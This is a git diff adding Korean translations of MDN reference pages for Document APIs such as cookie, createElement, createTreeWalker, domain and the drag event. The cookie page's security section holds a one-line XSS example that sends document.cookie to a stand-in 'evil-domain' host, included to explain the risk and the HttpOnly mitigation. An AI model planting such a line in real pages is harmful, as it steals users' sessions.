{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.trim().indexOf('reader=') == 0
+})) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+
+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.indexOf('reader=1') >= 0
+})) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+ +

Security

+ +

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

+ +

Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
+ +

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

+ +

Notes

+ + + +

The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

+ + + +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]
+ +

The client sends back to the server its cookies previously stored

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}Initial definition
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.cookie")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/createdocumentfragment/index.html b/files/ko/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..7c4fb33469 --- /dev/null +++ b/files/ko/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,134 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +
{{ApiRef("DOM")}}
+ +

새로운 빈 {{domxref("DocumentFragment")}} 를 생성합니다.

+ +

Syntax

+ +
var docFragment = document.createDocumentFragment();
+
+ +

docFragment 는 빈 {{domxref("DocumentFragment")}} 객체를 나타냅니다.

+ +

Description

+ +

DocumentFragments 는 DOM 노드들 입니다. 이것들은 메인 DOM 트리의 일부가 되지 않습니다. 일반적인 유즈 케이스는 다큐먼트 조각을 생성하고, 엘리먼트들을 다큐먼트 조각에 추가하고 그 다큐먼트 조각을 DOM 트리에 추가하는 것입니다. DOM 트리 내에서 다큐먼트 조각은 그것의 모든 자식들로 대체됩니다.

+ +

메모리 내에 다큐먼트 조각이 존재하고 메인 DOM 트리의 일부가 아니라면, 이것에 자식들을 추가하는 것은 페이지 reflow (엘리먼트의 위치와 좌표의 계산) 를 유발하지 않습니다. 따라서, 다큐먼트 조각을 사용하는 것은 보통 better performance 의 결과를 가져옵니다.

+ +

Example

+ +
var ul = document.getElementsByTagName("ul")[0]; // assuming it exists
+var docfrag = document.createDocumentFragment();
+var browserList = ["Internet Explorer", "Firefox", "Safari",
+    "Chrome", "Opera"];
+
+browserList.forEach(function(e) {
+  var li = document.createElement("li");
+  li.textContent = e;
+  docfrag.appendChild(li);
+});
+
+ul.appendChild(docfrag);
+// a list with well-known web browsers
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}No change
{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM4')}}Clarifies that the node document of the created document fragment is the context object.
{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM3 Core')}}No change
{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM2 Core')}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/document/createelement/index.html b/files/ko/web/api/document/createelement/index.html new file mode 100644 index 0000000000..6cb461eeb5 --- /dev/null +++ b/files/ko/web/api/document/createelement/index.html @@ -0,0 +1,101 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - Method + - Reference + - Web +translation_of: Web/API/Document/createElement +--- +
{{APIRef("DOM")}}
+ +

HTML 문서에서, Document.createElement() 메서드는 지정한 tagName의 HTML 요소를 만들어 반환합니다. tagName을 인식할 수 없으면 {{domxref("HTMLUnknownElement")}}를 대신 반환합니다.

+ +

구문

+ +
let element = document.createElement(tagName[, options]);
+ +

매개변수

+ +
+
tagName
+
생성할 요소의 유형을 가리키는 문자열.
+
options {{optional_inline}}
+
is 속성 하나를 가진 ElementCreationOptions 객체. 속성의 값은 customElements.define()을 사용해 정의한 사용자 정의 요소입니다.
+
+ +

반환 값

+ +

새로운 {{domxref("Element")}}.

+ +

예제

+ +

아래 예제는 새로운 <div> 엘리먼트를 생성한 후, ID가 "div1" 인 요소 이전에 추가합니다.

+ +

HTML

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>||Working with elements||</title>
+</head>
+<body>
+  <div id="div1">위의 텍스트는 동적으로 추가했습니다.</div>
+</body>
+</html>
+ +

JavaScript

+ +
document.body.onload = addElement;
+
+function addElement () {
+  // create a new div element
+  var newDiv = document.createElement("div");
+  // and give it some content
+  var newContent = document.createTextNode("환영합니다!");
+  // add the text node to the newly created div
+  newDiv.appendChild(newContent);
+
+  // add the newly created element and its content into the DOM
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}
+ +

{{EmbedLiveSample("예제", 500, 50)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}{{Spec2('DOM WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.createElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/createelementns/index.html b/files/ko/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..6fee5b6d80 --- /dev/null +++ b/files/ko/web/api/document/createelementns/index.html @@ -0,0 +1,173 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +translation_of: Web/API/Document/createElementNS +--- +
{{ApiRef("DOM")}}
+ +

지정된 네임스페이스 URI와 적합한 이름으로 엘리먼트를 만든다.

+ +

네임스페이스 URI를 지정하지 않고 엘리먼트를 만들려면 createElement메소드를 사용하라.

+ +

Syntax

+ +
var element = document.createElementNS(namespaceURI, qualifiedName[, options]);
+
+ +

Parameters

+ +
+
namespaceURI
+
A string that specifies the namespace URI to associate with the element. The namespaceURI property of the created element is initialized with the value of namespaceURI. See Valid Namespace URIs.
+
qualifiedName
+
A string that specifies the type of element to be created. The nodeName property of the created element is initialized with the value of qualifiedName.
+
optionsOptional
+
An optional ElementCreationOptions object containing a single property named is, whose value is the tag name for a custom element previously defined using customElements.define(). For backwards compatibility with previous versions of the Custom Elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. See Extending native HTML elements for more information on how to use this parameter.
+
The new element will be given an is attribute whose value is the custom element's tag name. Custom elements are an experimental feature only available in some browsers.
+
+ +

Return value

+ +

The new Element.

+ +

Valid Namespace URIs

+ + + +

Example

+ +

This creates a new <div> element in the XHTML namespace and appends it to the vbox element. Although this is not an extremely useful XUL document, it does demonstrate the use of elements from two different namespaces within a single document:

+ +
<?xml version="1.0"?>
+<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+      xmlns:html="http://www.w3.org/1999/xhtml"
+      title="||Working with elements||"
+      onload="init()">
+
+<script type="text/javascript"><![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+   txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]></script>
+
+ <vbox id='ContainerBox' flex='1'>
+  <html:div>
+   The script on this page will add dynamic content below:
+  </html:div>
+ </vbox>
+
+</page>
+
+ +
+

The example given above uses inline script which is not recommended in XHTML documents. This particular example is actually an XUL document with embedded XHTML, however, the recommendation still applies.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
options argument{{CompatVersionUnknown}}[1]{{CompatNo}}{{CompatGeckoDesktop(50)}}[2][3]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] In previous versions of the specification, this argument was just a string whose value was the custom element's tag name. For the sake of backwards compatibility, Chrome accepts both forms.

+ +

[2] See [1] above: like Chrome, Firefox accepts a string instead of an object here, but only from version 51 onwards. In version 50,  options must be an object.

+ +

[3] To experiment with custom elements in Firefox, you must set the dom.webcomponents.enabled and dom.webcomponents.customelements.enabled preferences to true.

+ +

See also

+ + diff --git a/files/ko/web/api/document/createrange/index.html b/files/ko/web/api/document/createrange/index.html new file mode 100644 index 0000000000..655add378f --- /dev/null +++ b/files/ko/web/api/document/createrange/index.html @@ -0,0 +1,33 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +translation_of: Web/API/Document/createRange +--- +
{{APIRef("DOM")}}
+ +

새 {{domxref("Range")}} 객체를 리턴합니다.

+ +

문법

+ +
range = document.createRange();
+
+ +

range 는 생성된 {{domxref("Range")}} 객체입니다.

+ +

예제

+ +
var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+
+ +

노트

+ +

Range 객체의 대부분의 메소드들은 Range 객체가 생성 된 후, 바운더리 포인트를 지정해야 사용할 수 있습니다.

+ +

명세

+ + diff --git a/files/ko/web/api/document/createtextnode/index.html b/files/ko/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..2da7134fbb --- /dev/null +++ b/files/ko/web/api/document/createtextnode/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - DOM + - Gecko +translation_of: Web/API/Document/createTextNode +--- +
{{APIRef("DOM")}}
+ +

요약

+ +

텍스트 노드를 생성합니다.

+ +

문법

+ +
텍스트 = document.createTextNode(데이터);
+
+ +

매개변수

+ + + +

예제

+ +
<html>
+<head>
+<title>createTextNode 예제</title>
+
+<script type="text/javascript">
+
+function addTextNode()
+{
+var newtext = document.createTextNode(" 동적으로 추가되는 텍스트. ");
+var para = document.getElementById("p1");
+para.appendChild(newtext);
+}
+
+</script>
+</head>
+
+<body>
+<div style="border: 1px solid red">
+<p id="p1">단락의 첫번째 줄.<br /></p>
+</div><br />
+
+<button onclick="addTextNode();">TextNode 추가하기.</button>
+
+</body>
+</html>
+
+ +

규약

+ +

createTextNode

+ +

{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "pl": "pl/DOM/document.createTextNode" } ) }}

diff --git a/files/ko/web/api/document/createtreewalker/index.html b/files/ko/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..3becf1e6f4 --- /dev/null +++ b/files/ko/web/api/document/createtreewalker/index.html @@ -0,0 +1,160 @@ +--- +title: Document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +tags: + - API + - DOM + - Document + - Method + - Reference +translation_of: Web/API/Document/createTreeWalker +--- +
{{ApiRef("Document")}}
+ +

Document.createTreeWalker() 메소드는 새로운 {{domxref("TreeWalker")}} 객체를 반환합니다.

+ +

구문

+ +
document.createTreeWalker(root, whatToShow[, filter[, entityReferenceExpansion]]);
+
+ +

매개변수

+ +
+
root
+
이 {{domxref("TreeWalker")}} 순회의 루트 {{domxref("Node")}}이다. 이것은 보통 이 문서 소유의 한 엘리먼트이다.
+
whatToShow {{optional_inline}}
+
NodeFilter의 상수 프라퍼티들을 조합하여 만든 비트마스크를 나타내는 선택적인 unsigned long 이다. 이것은 특정 유형의 노드를 필터링하는 편리한 방법이다. 기본값은 SHOW_ALL 상수를 나타내는 0xFFFFFFFF이다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수숫자 값설명
NodeFilter.SHOW_ALL-1 (unsigned long의 최대 값)Shows all nodes.
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8Shows {{domxref("CDATASection")}} nodes.
NodeFilter.SHOW_COMMENT128Shows {{domxref("Comment")}} nodes.
NodeFilter.SHOW_DOCUMENT256Shows {{domxref("Document")}} nodes.
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024Shows {{domxref("DocumentFragment")}} nodes.
NodeFilter.SHOW_DOCUMENT_TYPE512Shows {{domxref("DocumentType")}} nodes.
NodeFilter.SHOW_ELEMENT1Shows {{domxref("Element")}} nodes.
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16Shows {{domxref("EntityReference")}} nodes.
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64Shows {{domxref("ProcessingInstruction")}} nodes.
NodeFilter.SHOW_TEXT4Shows {{domxref("Text")}} nodes.
+
+
filter {{optional_inline}}
+
선택적인 {{domxref("NodeFilter")}}이다. {{domxref("TreeWalker")}}가 whatToShow 체크를 통과한 노드의 승인여부를 판단하기 위해 호출하는 acceptNode 메소드를 가진 객체이다.
+
entityReferenceExpansion {{optional_inline}} {{obsolete_inline}}
+
한 {{domxref("EntityReference")}}를 버릴 때 그 전체 하위 트리를 같이 버려야하는지를 나타내는 {{domxref("Boolean")}} 플래그이다.
+
+ +

반환 값

+ +

새로운 {{domxref("TreeWalker")}} 객체.

+ +

예제

+ +

다음 예제는 body의 모든 노드들을 순회하고, 노드의 집합을 엘리먼트로 줄이고, 단순히 각 노드를 승인하고 (대신 acceptNode() 메소드에서 그 집합을 줄일 수도 있다), 노드들(지금은 모두 엘리먼트지만)을 전진하기 위해 생성된 트리 워커 반복자를 이용하여 배열에 푸시한다.

+ +
var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences parameter. Made the whatToShow and filter parameters optionals.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.createTreeWalker")}}

+ +

참고

+ + diff --git a/files/ko/web/api/document/defaultview/index.html b/files/ko/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..de6d2c5e25 --- /dev/null +++ b/files/ko/web/api/document/defaultview/index.html @@ -0,0 +1,46 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/defaultView +--- +
{{ApiRef}}
+ +

브라우저의 document.defaultView는 {{glossary("browsing context", "문서")}}와 연결된 {{domxref("Window", "window")}} 객체를 반환합니다. 가능하지 않은 경우 {{jsxref("null")}}을 대신 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML WHATWG')}}No change
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.defaultView")}}

+
diff --git a/files/ko/web/api/document/designmode/index.html b/files/ko/web/api/document/designmode/index.html new file mode 100644 index 0000000000..179f9dedee --- /dev/null +++ b/files/ko/web/api/document/designmode/index.html @@ -0,0 +1,50 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +translation_of: Web/API/Document/designMode +--- +
{{ ApiRef() }}
+ +

document.designMode는 전체 document의 편집 가능 여부를 제어합니다. 유효한 값은 "on" 과 "off" 입니다. 명세에 따르면, 이 속성은 기본적으로 "off"로 설정되어 있습니다. Firefox는 이 표준 명세를 따릅니다. Chrome과 IE의 초기 버전들에서는 "inherit" 로 설정되어 있습니다. IE6-10 브라우저에서는, 값이 대문자로 표기됩니다.

+ +

Syntax

+ +
var mode = document.designMode;
+document.designMode = "on";
+document.designMode = "off";
+ +

Example

+ +

{{HTMLElement("iframe")}}의 document를 편집 가능하게 설정합니다.

+ +
iframeNode.contentDocument.designMode = "on";
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{Compat("api.Document.designMode")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/doctype/index.html b/files/ko/web/api/document/doctype/index.html new file mode 100644 index 0000000000..228c3b595d --- /dev/null +++ b/files/ko/web/api/document/doctype/index.html @@ -0,0 +1,58 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +translation_of: Web/API/Document/doctype +--- +
{{ApiRef("DOM")}}
+ +

현재 document와 연관된 DTD(Document Type Declaration)를 반환합니다. 반환된 object는  {{domxref("DocumentType")}} 인터페이스를 구현합니다. DocumentType을 작성하려면 {{domxref("DOMImplementation.createDocumentType()")}}를 사용합니다.

+ +

Syntax

+ +
doctype = document.doctype;
+
+ + + +

Example

+ +
var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);
+ +

Notes

+ +

현재 document와 연관된 DTD가 없으면, 이 property는 null을 반환합니다.

+ +

DOM level 2는 document type 선언 편집을 지원하지 않습니다. (read-only)

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}{{Spec2("DOM3 Core")}}{{HTMLElement("html")}} element가 없는 HTML documents문서에 대한 리턴 값이 변경되었습니다. document type을 변경할 수 있도록 정의합니다.
{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}{{Spec2("DOM2 Core")}}초기 선언.
diff --git a/files/ko/web/api/document/document/index.html b/files/ko/web/api/document/document/index.html new file mode 100644 index 0000000000..6706d05e0e --- /dev/null +++ b/files/ko/web/api/document/document/index.html @@ -0,0 +1,43 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - Constructor + - DOM + - Document + - Reference +translation_of: Web/API/Document/Document +--- +
{{APIRef}}
+ +

Document 생성자는 브라우저에 로드되고 페이지 컨텐츠로의 진입점으로써 제공되는 웹 페이지인 새로운 {{domxref("Document")}} 객체를 생성합니다.

+ +

구문

+ +
new Document()
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG','#dom-document-document','Document')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.Document")}}
diff --git a/files/ko/web/api/document/documentelement/index.html b/files/ko/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..429fce87c4 --- /dev/null +++ b/files/ko/web/api/document/documentelement/index.html @@ -0,0 +1,60 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Document + - Property + - Reference + - ㅈ +translation_of: Web/API/Document/documentElement +--- +
{{ApiRef("DOM")}}
+ +

Document.documentElement 읽기 전용 속성은 문서의 루트 요소를 나타내는 {{domxref("Element")}}를 반환합니다. HTML 문서를 예로 들면 {{htmlelement("html")}} 요소를 반환합니다.

+ +

구문

+ +
const element = document.documentElement
+
+ +

예제

+ +
const rootElement = document.documentElement;
+const firstTier = rootElement.childNodes;
+// firstTier is a NodeList of the direct children of the root element
+// such as <head> and <body>
+
+for (const child of firstTier) {
+   // do something with each direct child of the root element
+}
+ +

참고

+ +

모든 비어있지 않은 HTML 문서의 documentElement는 항상 {{htmlelement("html")}} 요소를 가리킵니다. 모든 비어있지 않은 XML 문서의 documentElement는 종류불문하고 해당 문서의 루트 요소를 가리킵니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.documentElement")}}

diff --git a/files/ko/web/api/document/documenturi/index.html b/files/ko/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..51f8d795c8 --- /dev/null +++ b/files/ko/web/api/document/documenturi/index.html @@ -0,0 +1,116 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +tags: + - URL + - documentURI +translation_of: Web/API/Document/documentURI +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 documentURI 속성은 document location 을 string 으로 반환합니다.

+ +

DOM3 에서 원래 이 속성은 읽기/쓰기 속성으로 정의되어 있습니다. DOM4 명세에서는 읽기 전용입니다.

+ +

Syntax

+ +
var string = document.documentURI;
+
+ +

Notes

+ +

HTML documents 는 동일한 값을 반환하는 {{domxref("document.URL")}} 속성을 가집니다. URL 과는 달리, documentURI 는 모든 타입의 documents 에서 이용 가능합니다.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM4')}} 
{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}{{Spec2('DOM3 Core')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
DOM3 behavior{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatChrome(43.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
DOM3 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
diff --git a/files/ko/web/api/document/domain/index.html b/files/ko/web/api/document/domain/index.html new file mode 100644 index 0000000000..35bed661f7 --- /dev/null +++ b/files/ko/web/api/document/domain/index.html @@ -0,0 +1,91 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/domain +--- +
{{ApiRef}}
+ +

{{domxref("Document")}} 인터페이스의 domain 속성은 동일 출처 정책에서 사용하는 현재 문서의 {{glossary("origin", "출처")}}에서 도메인 부분을 설정하거나 가져옵니다.

+ +

domain 속성을 성공적으로 설정하면 출처의 포트를 {{jsxref("null")}}로 설정합니다.

+ +

구문

+ +
const domainString = document.domain
+document.domain = domainString
+ +

+ +

현재 문서 출처의 도메인 부분.

+ +

예외

+ +
+
SecurityError
+
다음 상황에서 domain을 변경하려 시도한 경우. +
    +
  • 샌드박스 설정된 {{htmlelement("iframe")}} 요소에 속한 문서
  • +
  • {{glossary("browsing context", "브라우징 맥락")}}이 없는 문서
  • +
  • 문서의 유효 도메인null
  • +
  • 주어진 값이 문서의 유효 도메인과 같지 않거나, 등록 가능한 도메인 접미사가 아닌 경우
  • +
  • {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} 헤더가 설정된 경우
  • +
+
+
+ +

예제

+ +

도메인 가져오기

+ +

http://developer.mozilla.org/en-US/docs/Web 주소에서, 다음 코드는 currentDomain 변수에 "developer.mozilla.org"  문자열을 할당합니다.

+ +
const currentDomain = document.domain;
+ +

창 닫기

+ +

어느 문서, 예컨대 www.example.xxx/good.html 등이 www.example.com의 도메인을 가지고 있을 때, 다음 예제는 창을 닫으려 시도합니다.

+ +
const badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // 예시에 불과 (window.close()는 아무것도 하지 않을 수도 있음)
+  window.close();
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.domain")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/drag_event/index.html b/files/ko/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..cdf5f4222f --- /dev/null +++ b/files/ko/web/api/document/drag_event/index.html @@ -0,0 +1,183 @@ +--- +title: drag +slug: Web/API/Document/drag_event +tags: + - API + - DOM + - Document + - Drag + - DragEvent + - Event + - Reference + - Web + - drag and drop +translation_of: Web/API/Document/drag_event +--- +
{{APIRef}}
+ +
+ +

drag 이벤트는 사용자가 요소 또는 텍스트를 드래그할 때 수백 밀리초마다 발생합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
이벤트 버블링Yes
이벤트 취소Yes
기본 액션드래그 앤 드롭을 계속한다.
인터페이스{{domxref("DragEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}
+ +

Examples

+ +

JSFiddle demo에서 이 코드를 보거나 아래에서 상호작용 하십시오.

+ +

HTML

+ +
<div class="dropzone">
+  <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)">
+    This div is draggable
+  </div>
+</div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+
+ +

